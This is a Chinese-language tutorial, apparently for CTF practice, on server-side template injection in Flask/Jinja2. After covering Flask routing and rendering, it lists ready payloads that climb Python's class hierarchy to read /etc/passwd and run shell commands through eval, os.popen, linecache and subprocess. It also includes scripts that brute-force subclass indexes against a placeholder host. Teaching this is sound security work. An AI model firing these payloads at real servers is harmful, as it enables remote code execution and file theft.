初探SSTI

0x00 SSTI简介

Server-Side Template Injection简称SSTI也就是就是服务器端模板注入;所以SSTI也是注入类漏洞,我们之前也有学过注入类漏洞(SQL注入);此时我们先来
复习一下SQL注入;SQL注入的成因是从输入出获得一个输入;然后将这个输入待到后端的脚本语言进行数据库查询;所以此时我们可以在输入端任意拼接语句然后进行SQL注入;然而SSTI也是获取一个输入,然后在后端的渲染处理上进行语句的拼接,然后执行。此时和SQL注入不同的在于SSTI利用的是模板引擎;比如Python中的jinja2、mako、tornado、django,php中的smarty、twig,java中的jade、velocity。当使用这些框架的渲染函数生成html时,有时候就会出现SSTI
模板引擎:
首先我们先讲解下什么是模板引擎,为什么需要模板,模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这大大提升了开发效率,良好的设计也使得代码重用变得更加容易。但是往往新的开发都会导致一些安全问题,虽然模板引擎会提供沙箱机制,但同样存在沙箱逃逸技术来绕过。

模板只是一种提供给程序来解析的一种语法,换句话说,模板是用于从数据(变量)到实际的视觉表现(HTML代码)这项工作的一种实现手段,而这种手段不论在前端还是后端都有应用。

通俗点理解:拿到数据,塞到模板里,然后让渲染引擎将赛进去的东西生成 html 的文本,返回给浏览器,这样做的好处展示数据快,大大提升效率。

后端渲染:浏览器会直接接收到经过服务器计算之后的呈现给用户的最终的HTML字符串,计算就是服务器后端经过解析服务器端的模板来完成的,后端渲染的好处是对前端浏览器的压力较小,主要任务在服务器端就已经完成。

前端渲染:前端渲染相反,是浏览器从服务器得到信息,可能是json等数据包封装的数据,也可能是html代码,他都是由浏览器前端来解析渲染成html的人们可视化的代码而呈现在用户面前,好处是对于服务器后端压力较小,主要渲染在用户的客户端完成。
模板语言:是一种被设计来自动生成文档的简单文本格式,在模板语言中,一般都会把一些变量传给模板,替换模板的特定位置上预先定义好的占位变量

0x01 flask框架


路由:此时我们可以看到上面的示例中用到了使用@开头的一串代码:@app1.route(‘/‘),此时我们上面的解释是给app1添加处理函数,其对于url是”/“此时这里涉及到一个叫做路由的概念,此时app1是我们创建的应用对象,/就是路由;如果用户输入了这个地址那么;flask就会调用对应的demo1()函数进行处理;此时称上
面这种为静态路由;而动态路由可以使用变量来代替部分路由地址,在设计动态路由时还可以定义类型

route装饰器路由:

1
@app.route('/')

使用route()装饰器告诉flask什么样的url可以触发我们的函数;route()装饰器把一个函数绑定到对应的URL上,这句话相当于路由,一个路由跟随一个函数

1
2
3
4
@app.route('/')
def test()"
return 123
//此时访问网址/即可触发test函数输出123

此时修改一下

1
2
3
4
@app.route('/test')
def test()"
return 123
//此时访问网址/test即可输出123

此时还可以设置动态网址

1
2
3
4
@app.route("/hello/<username>")
def hello_user(username):
return "user:%s"%username
//此时根据url栏的输入可以动态辨别身份;此时若是url栏是127.0.0.1:5000/hello/hey 此时的界面便会输出user:hey

或则可以使用int型;转换器有下面几种

1
2
3
4
5
6
7
8
int    接受整数
float 同 int ,但是接受浮点数
path 和默认的相似,但也接受斜线

@app.route('/post/<int:post_id>')
def show_post(post_id):
# show the post with the given id, the id is an integer
return 'Post %d' % post_id

main入口:
当.py文件被直接运行时,if name==’main’之下的代码块将被运行;当py文件以模板的形式导入时,if name==’main’便不会被运行

1
2
3
if __name__ == '__main__':
app.debug = True
app.run()

0x02 flask的渲染模板函数

render_template:
函数的第一个参数是模板的文件名;后面的参数都是模板中变量对应的真实值

1
2
3
4
5
6
7
8
9
使用如下:
1.{{}}表示变量名,此时这种{{}}语法叫做变量代码块
<h1>{{post.title}}</h1>
2.使用{%%}定义的控制代码块可以实现一些语言层次的功能(ex:循环语句)
3.使用{##}进行注释的内容不会在html中被渲染出来
render_template_string:
函数是用来渲染一个字符串的
html='<h1>hey bro</h1>'
return render_template_string(html)

0x03 flask模板渲染

此时我们可以考虑使用render_template()方法来渲染模板;此时我们需要做的就是将模板名和参数传入模板的变量
模板渲染示例:

1
2
3
4
5
6
from flask import render_template

@app.route('/hello/')
@app.route('/hello/<name>')
def hello(name=None):
return render_template('hello.html',name-name)

此时的模板渲染体系,render_template函数渲染的是templates中的模板;此时所谓的模板就是我们自己写的html,里面的参数需要我们根据用户的需求传入动
态变量,下面是flask的目录结构

1
2
3
4
5
├── app.py  
├── static
│ └── style.css
└── templates
└── index.html

此时我们写入一个index.html到templates文件夹中

1
2
3
4
5
6
7
8
<html>
<head>
<title>{{title}} - HHHeeey</title>
</head>
<body>
<h1>Hello, {{user.name}}!</h1>
</body>
</html>

此时我们可以知道此时有两个参数需要我们进行渲染;分别是titile和user.name;此时我们在app.py中进行渲染

1
2
3
4
5
@app.route('/')
@app.route('/index') //此时我们访问/或者/index都会跳转
def index()
user = {'name':'HHHeeey'}
return render_template("index.html",title='Home',user=user)

0x04 flask框架SSTI的产生

1
2
此时flask框架中的render_template_string函数在渲染模板中会使用%s来动态的替换字符串,且code是可控的;又因为flask是基于jinja2的,Jinja2在渲染的时候会把{{}}包裹的内容当做变量解析替换。所以可以利用此语法,传入参数{{7 * 7}}会发现返回值为49,说明我们输入的表达式被执行了。在Jinja2模板引擎
中使用{{}}标识符包裹的内容会被解析成一个表达式,并且会在服务器端进行求值和渲染。如果使用{{}}中包含的是可执行的命令语句;此时这个命令语句会被执行;所以此时我们加上{{}}标识符的目的就是为了使得被{{}}包裹的内容当作变量来解析替换。

0x05 Python中的类

面向对象语言的方法来自于类,对于python,有很多好用的函数库,我们经常会再写Python中用到import来引入许多的类和方法,python的str(字符串)、dict(字典)、tuple(元组)、list(列表)这些在Python类结构的基类都是 object ,而object拥有众多的子类。
class:用来查看变量所属的类,根据前面变量的形式可以得到其所属的类;返回值为<type’type’>也是类的实例属性,表示实例对象的类

bases:用来查看类的基类,也可以使用数组索引来查看特定位置。通过这个类可以查看该类的所有父类,该属性返回所有直接父类组成的元组

mro:获取一个类的调用顺序(也可以来获取基类)

base:直接获取基类

有些类继承的方法,我们就可以从任何一个变量,回溯到最顶层基类<class’object’>中去,再获得到此基类所有实现的类,就可以获得到很多的类和方法了。
subclasses:查看当前类的子类组成的列表,即返回基类object的子类

然后我们要做的就是积累一些可以利用的类了,比如python2中的file类可以直接用来读取文件,同时注意python2和python3的区别,可以看到,python3中已经不存在了,我们可以用<class ‘_frozen_importlib_external.FileLoader’>这个类去读取文件。

1
2
{{[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()}}
{{().__class__.__bases__[0].__subclasses__()[94]["get_data"](0, "/etc/passwd")}}

此时python3的版本不同,要利用的类的位置就不同,索引号就不同,我们需要编写一下遍历python环境中类的脚本:
GET型

1
2
3
4
5
6
7
8
9
10
11
12
import requests

headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
}
#http请求头,可以用抓包工具抓一份自己的。
for i in range(500):
url = "http://xxx.xxx.xxx.xxx:xxxx/?get参数={{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}"

res = requests.get(url=url,headers=headers)
if 'FileLoader' in res.text: #以FileLoader为例
print(i)

POST型

1
2
3
4
5
6
7
8
9
10
11
12
import requests

headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
}
#http请求头,可以用抓包工具抓一份自己的。
for i in range(500):
url = "http://xxx.xxx.xxx.xxx:xxxx/"
postPara = {"post参数":"{{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}"}
res = requests.post(url=url,headers=headers,data=postPara)
if 'FileLoader' in res.text: #以FileLoader为例,查找其他命令时就用其他子类
print(i)

0x06 常用的子类(执行命令类的子类)

HERE WE GO:接下来就是我们需要找到合适的类,然后从合适的类中寻找我们需要的方法。

1.寻找内建函数eval执行命令

记录一下几个含有eval函数的类

1
2
3
4
5
6
7
8
9
warnings.catch_warnings
WarningMessage
codecs.IncrementalEncoder
codecs.IncrementalDecoder
codecs.StreamReaderWriter
os._wrap_close
reprlib.Repr
weakref.finalize
etc.

编写遍历脚本查找含有eval的类
payload:

1
{{''.__class__.__bases__[0].__subclasses__()[166].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}+

2.寻找os模块执行命令:

Python的 os 模块中有system和popen这两个函数可用来执行命令。其中system()函数执行命令是没有回显的,我们可以使用system()函数配合curl外带数据;popen()函数执行命令有回显。所以比较常用的函数为popen()函数,而当popen()函数被过滤掉时,可以使用system()函数代替。
首先编写脚本遍历目标Python环境中含有os模块的类的索引号
payload:

1
{{''.__class__.__bases__[0].__subclasses__()[79].__init__.__globals__['os'].popen('ls /').read()}}

我们可以看到,即使是使用os模块执行命令,其也是调用的os模块中的popen函数,那我们也可以直接调用popen函数,存在popen函数的类一般是 os.wrap_close,但也不绝对。由于目标Python环境的不同,我们还需要遍历一下。

3.寻找popen函数执行命令

首先编写脚本遍历目标Python环境中含有 popen 函数的类的索引号

1
{{''.__class__.__bases__[0].__subclasses__()[117].__init__.__globals__['popen']('ls /').read()}}

4.寻找 linecache 函数执行命令

linecache 这个函数可用于读取任意一个文件的某一行,而这个函数中也引入了 os 模块,所以我们也可以利用这个 linecache 函数去执行命令。
首先编写脚本遍历目标Python环境中含有linecache这个函数的子类的索引号
payload:

1
2
{{[].__class__.__base__.__subclasses__()[168].__init__.__globals__.linecache.os.popen('ls /').read()}}
{{[].__class__.__base__.__subclasses__()[168].__init__.__globals__['linecache']['os'].popen('ls /').read()}}

5.寻找 subprocess.Popen 类执行命令

从python2.4版本开始,可以用 subprocess 这个模块来产生子进程,并连接到子进程的标准输入输出错误中去,还可以得到子进程的返回值。subprocess意在替代其他几个老的模块或者函数,比如:os.system、os.popen 等函数。
首先编写脚本遍历目标Python环境中含有subprocess这个函数的子类的索引号
payload

1
2
{{[].__class__.__base__.__subclasses__()[245]('ls /',shell=True,stdout=-1).communicate()[0].strip()}}  
# {{[].__class__.__base__.__subclasses__()[245]('要执行的命令',shell=True,stdout=-1).communicate()[0].strip()}}

0x07SSTI解题思路

1.先找变量所属的属性(class)

2.找类所属于的基类(bases)

3.找类所属于的子类(subclasses)

此时可以找到有非常多的子类,其中有一个类

1
<class 'os._warp_close'>

此时我若是想用这个类

注意:不同版本的索引号是不同的!!!
4.这个时候我们便可以利用.init.globals来找os类下的,init初始化类,然后globals全局来查找所有的方法及变量及参数。

5.此时我们可以看到各种各样的参数方法函数,我们找其中一个可利用的function popen来执行命令

tips:常见的思路就是找类,找类的基类,找基类的子类,然后找可以RCE的模块

0X08 判断模板